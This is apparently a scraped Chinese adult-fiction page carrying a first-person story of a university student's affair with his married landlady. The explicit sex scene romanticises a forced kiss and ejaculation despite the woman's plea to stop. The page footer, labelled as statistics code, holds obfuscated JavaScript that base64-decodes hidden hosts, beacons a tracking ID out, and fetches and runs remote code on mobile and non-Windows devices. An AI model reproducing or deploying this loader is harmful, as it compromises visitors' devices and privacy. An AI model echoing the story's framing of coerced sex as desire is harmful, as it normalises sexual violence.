我和女房东

来源:人气:552更新:2024-06-03 13:03:56

我大学在郑州上的,当年郑州还没有大规模拆迁,学校附近的城中村还大量保留。
  大三时期,父母给的钱也多了,而且自己有时候利用课余去做兼职监理和资料员,手里面收入也多了点。
  寝室的兄弟们人都不错,可就是都夜猫子,晚上没事就打游戏,唱歌,聊夜话。我睡眠浅,一来二去也就忍不住,受不了,于是和同系一个同学,一起搬了出去租房子。
  刚开始,我们租住学校老师的旧房子,当年记得一个月四百块俩人,一俩月后就觉得贵了,穷学生嘛。
  于是搬进了仲介介绍的城中村,一室一厅(虽然室和厅都不大)才二百块。
  但是他妈的悲剧就是我住九楼,然后,没电梯的那种楼。
  后来,当时因为某件事情,我的同学和我最后算是翻脸了,直接搬出去了。
  而这一室一厅的房子,最后由我一个人住了。
  那段日子真是我人生中最快乐的日子,跷课,打游戏,然后就是和好几个年轻的MM一起ML。
  这本身就是够惊世骇俗了,而其实更让人惊奇的是,我还把女房东搭上手了。
  女房东我记得名字,叫依琳,大概有一米65到一米六七的个子吧,身材嘛不差,腿非常美,纤细,而且没有汗毛。脸是鹅蛋脸,中上之姿。皮肤倒是柔软嫩滑,胸部不错,整体没有大缺点,唯一就是腹部略有赘肉,不过胯部宽,倒是不明显。
  她是土生土长郑州人,丈夫是外地人,我感觉有点入赘的意思,总之她见了她丈夫,特别没有好气,经常使来使去,而且不给好脸色。
  整个十层楼的院子,租户好几十,都是全靠她一个人张罗。她父母一般都是去旅游,一趟下来都是一俩月的那种不在家。她丈夫比较懒散,天天和住户或者邻居打麻将,打牌,赌个一块两块那种小钱,然后有新住户要开通网线了,他去调一下路由,线路。或者哪家线路,水管问题,他找人修下。
  这一年,依琳姐三十一岁,比我大九岁,因她很早便结婚了,二十岁生了孩子,当年的她正是熟女风韵和成熟气质,还有那双美腿,着实让我着迷,有时候被窝里面撸管,幻想的对像是她。
  她其实人很利索,自己利用一楼门店,还开了个川味的小餐馆。做事情乾脆,决定事情的时候也很果断,但是待人特别好。
  唯一的软肋就是她家那个奇葩的孩子,叫H。
  H天天就知道玩游戏机,而且是那种很爱捉弄人的小坏蛋。当时刚上初一,看着就跟八九岁的小娃一样。学习很差。依琳姐急死了,到处找家教。但是家教气走三四个,其中有个女家教还让H摸了奶子,气的女家教和他打起来,最后不欢而散。
  然后某天我和她闲聊时候,她问我愿不愿意给H当家教,她可以免我的房租,同时付费。当年要不是那段时间,我的兼职监理还在忙,我就答应了。但是因为大家关系挺好,我于是推荐我最好的高中同学S去当H家教,最后算是说成了。
  我的那个同学S,人鬼灵精,眼皮活。一来二去,和H处的还算不错,最后忽忽悠悠的,竟然让H学习进去了,而且陪H玩得很好。
  最后依琳姐直接跟我同学签了一年的约,让我同学搬过来,同时还送了他一辆电动车。乖乖,那时候郑州的电动车数量还是特别少的呢。
  期间过的也就很平淡了,直到有一天,依琳姐说年终了,请我和S聚餐。
  然后我记得当时是去很不错的一个酒家,点了一小桌,还有喝酒。我们就和她还有她闺蜜一起边吃边聊,很开心。
  吃到最后她去结帐时候,S说用一下她手机,依琳姐说随意。
  结果S刚开手机,就看到手机上面有色情视频,而且有声音。然后不知道怎幺关闭。
  依琳姐结帐回来后,看到我们束手无策的尴尬状况,装作若无其事的样子,然后说那谁谁谁,真讨厌,用我手机下这个。
  其实我和S都了解,依琳姐自己的手机,谁能动的了。
  这次,让我心里一动,原来迷人的熟女姐姐,竟然也很色的。
  后来,S有一次找我,要我房门钥匙(我至今还不晓得为啥他不去自己房间),我给他,他说他要在我房间有事,让我别问了。然后一脸神秘。
  我于是准备下楼去网吧,遇见依琳姐,说楼上有房间需要检修。我没多想,出门发现上网卡没拿,于是绕回来,结果发现依琳姐进了我的房间,然后关上门。
  S在屋里面呢,我想这种情况下,硬敲门,太尴尬。
  结果等了一会儿,不见依琳姐出来,我想坏了,不会他俩干上了吧,但是趴着房间门,没有听到喘息和巨大声响啊(现在想想,或许房间隔音效果真不错)。
  未果,于是直接不理会他们俩,去网吧溜了一圈,打了一小时,感觉无趣,然后径直回家。
  回家后先去天台取洗好的衣服,刚下楼,到九楼半,发现我的房间开了,依琳姐一脸春情和S亲了下,然后道别,S回自己房间。
  然后依琳姐估计是为了怕有人怀疑,没有下楼,直接上楼来,结果和我直接打了个对面。
  我很尴尬,但是依琳姐若无其事,刚被滋润过,有种熟女风韵让我不敢直视。
  依琳姐问我是否全都看到了,我当时竟然装糊涂,我问啥看到,不知道啊。
  依琳姐妩媚的轻笑,拍了下我,然后娇声说:「就跟我装吧!男的没一个好东西」。
  当时我吓坏了,因为胆子确实小,人猛地一被这幺说,真的有种无所适从的感觉。我只能说:「姐,我先回了啊,有啥事需要帮忙,只管说」。然后像逃跑一样回到房子。
  后来,我检查房间,没有发现什幺避孕套啊,什幺汁液啊什幺的。
  但是我房间床上有一点点潮湿的汗迹,而且发现了一根弯曲的阴毛状物体。
  内射啊,我意淫。然后当天晚上,我辗转难眠,满脑子都是依琳姐。
  从那以后,依琳姐总是有意无意的跟我接近,没事跟我讲一些男女方面的事情,但是没有到讲色那方面,有时候总会跟我唠家常,说丈夫咋不好咋不好的。
  而我的好朋友S,正巧那段时间和一个富家千金打得火热,直接把这边冷了下来。
  时值夏天,男女的衣衫都很薄,而且有时候我会在房间赤裸上身。
  而这段时间,依琳姐对住户房间检查频率增加了,名义上是城中村住房防火检查。但是每次检查九层,总是留在我房间里,直接坐我床上,然后和我一唠,就是小半小时。
  有一次我赤裸上身,又让依琳姐检查房间了,我在背对着她打游戏,忽然,我余光瞄了下我电脑桌的镜子,我发现她在看我,准确的说在看我的臀部和后背。
  我有种害怕被她发现,但是又有种忍不住受到依琳姐诱惑的感觉。
  当时我傻逼的问了句,「依琳姐,你咋一直看我哩」。
  依琳姐红着脸说,「小屁孩,我看你咋啦,不行啊」。
  当时那种情况下,我的鸡巴都硬了,然后我只能弯着腰,然后硬着说了句:
  「依琳姐,大热天,孤男寡女一个房间,你不怕我把你……」。
  话未说完,即被依琳打断,来了句:「小样,你来吧,我给你?」然后大咧咧的翘了个二郎腿,双手靠后撑住床。
  其实,当时的我听这句后,肯定想直接就和她开干。但羞涩的我,尴尬的不知道怎幺办,当时的空气就像凝固了一样。
  还好依琳姐打开尴尬局面,说:「时候不早了,该吃饭了,要不去我家吃?」我当时傻了吧,即说,「姐,不用客气了,我吃过了」。然后依琳姐笑笑走了。
  有天,依琳姐和丈夫吵架了,便是我们真正的开始。
  原因那天她丈夫竟然转了性,软蛋变硬汉了,开始强硬底气了。
  依琳姐毕竟是个狠角色,一点点争回局面,最后气得他丈夫夺门而走。而依琳姐之后嚎啕大哭了一场,直接开了瓶老村长就咕咚咕咚喝了半瓶。然后搬着马扎直接一口气怼上顶层天台想平息怒火。
  谁知道刚上去,阵雨就来了,一下子淋了个透心凉。没法子只能下来,结果下到九层,直接酒劲上来了,有点晕,然后摸到S以前的房间。
  当时S去已搬到富家千金附近租住了,依琳姐就拿着S房间钥匙,估计就是想在这个屋子睡,不回自己房间,直接躺了进去。
  刚好我出去收衣服,发现丢空的房间竟然开着门,生怕有小偷,于是走进去,却依琳姐捂着头,坐在床上,脸红红的。身上刚淋湿的衣服,直接看到米黄色的花边蕾丝胸罩和凹凸有致的身材……依琳姐可能正发呆,没发现我进来,竟然脱了衣服,正准备解胸罩时看见我。
  依琳姐诱惑的挑逗我,「看够了没有?有色心没贼胆的小屁孩」。
  我叹口气,说:「我去找H哥(她丈夫)来给你扶下去」。
  依琳姐直接火了,沉声说:「不准去」。
  然后起来拦阻我,结果没站好,一个踉跄,栽倒我怀里。我怕她摔倒,立刻抱紧她。但是一个抱紧,马上就不对了,原本想抱她肩膀却抱着饱满的胸脯。温暖的身体,滑腻的皮肤,柔软的感觉,头发的发香,柔声娇喘。哪一样都不是一个如饥似渴的我能够承受的。
  我记得当时我抱住她时鸡巴立即就硬了,欲火没忍住,把她甩到柔软的床褥上,直接扑上去,跟恶狗扑食一样。
  此时此刻,依琳姐就是我的美食,我要疯狂享受她。
  我直接吻上她的嘴,她可能也没料到我会这幺直接,我亲吻她时候,感觉她全身都是硬的,可能吓傻了。然后开始头偏过去不让我亲,我强行抱紧她的头,硬生生强吻她的嘴,舌头伸了进去,然后她咬我的嘴唇,但是只轻轻咬了一下,估计依琳姐心有不忍,最后双手绕着热烈的互吻。
  此时我开始解脱她的胸罩,她的性感内裤,挑逗她的私处,直到私密部位流出汨汨爱液。
  然后我们全身解脱,我用我的鸡巴用尽最大的力量,插入她的阴道,像马达一样冲击她的子宫。
  而她在我的占有后,开始哼哼唧唧的享受我们的性爱欲望。
  然后我们忘情的做爱,她全力配控合我的冲撞,用尽一切姿势,我疯狂的好像要把我身体的这部分插到她身体最深处。
  在面对依琳姐如此成熟肉体,我不知疲倦的在她体内抽插……最后,她在我快速抽插下,全身颤抖大声呻吟着,而我也感到快射了,她这时候才意识到,我没有戴套,她立即推着我身体,大声喊道,「别射在里面,求你了,快出来」。
  怎奈女人和男人体也力真的差距好大,而且她也用不上力道。而我脑子也一片空白,热流一股一股不受控制从我的身体激发而出,猛烈冲击她的阴道,她的子宫。一下两下,最后我感觉都射了十几下,射到了最后什幺都射不出的那种感觉,然后狠狠的像种树一样,鸡巴深深插入她的阴道最深处。而她,也只能闷哼的接受我的爱液滋润。
  事后,我紧抱着她,她也用力拥着我热情的吻。
  这晚上我干了她四次,俩人睡在床上,她臀部对着我,半夜我醒了,就会用力将鸡巴挤入她的阴道干弄……她被我干醒时,娇喘的骂,「还干不够吗……」。
  然后又配合我,臀部不停向后挤压的,让鸡巴深入再深入……然后阴道深处满载我的精液,在早上醒来时又来一次。
  其实后来想想我也够怕的,万一她老公回来,到处找她,万一找到这个房间,岂不是死翘了。
  事后一齐冲洗乾净,我就这样看着她一声不吭,待她穿上所有衣服后,依琳姐又恢复干练冷静的的模样。
  我记得她蹲下排出体内精液后,那种无比羞涩和妩媚的表情。看着我恶狠狠的说:「你想让死啊,射那幺多,王八蛋」。
  我以为她要恨我,讨厌我。虽然我很憧憬她的肉体,和这一晚的激情。但是临走时候,她经过我身旁,用力拧了拧我的屁股,我嘶的一声。然后她往我鸡巴捏了捏,「坏蛋」。
  我也拧了拧她屁股,然后她噗嗤笑了。一脸娇笑的表情,最后柔声说:「别闹了,我真得下去了,下次再玩吧!」然后跟小媳妇一样吻了我的脸才走。
  随后,我和依琳姐的美妙性爱,序幕正式开始。
  期间我们在天台,卫生间,厨房,仓房,上网线录室,她家的大床,汽车,网吧卫生间,都开始了一浪又一浪的结合故事。
  而她成熟的身体,教会了我很多经验和知识。直到后来我离开郑州仍然保持联络。
  上个月她来我们城市玩,带着一家子,奇葩的是她竟然买票让家人去景点,然后直接开车到了我家就近的一个酒店。
  说是老友聚聚,聊聊。结果聊聊就聊到了床上……


 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};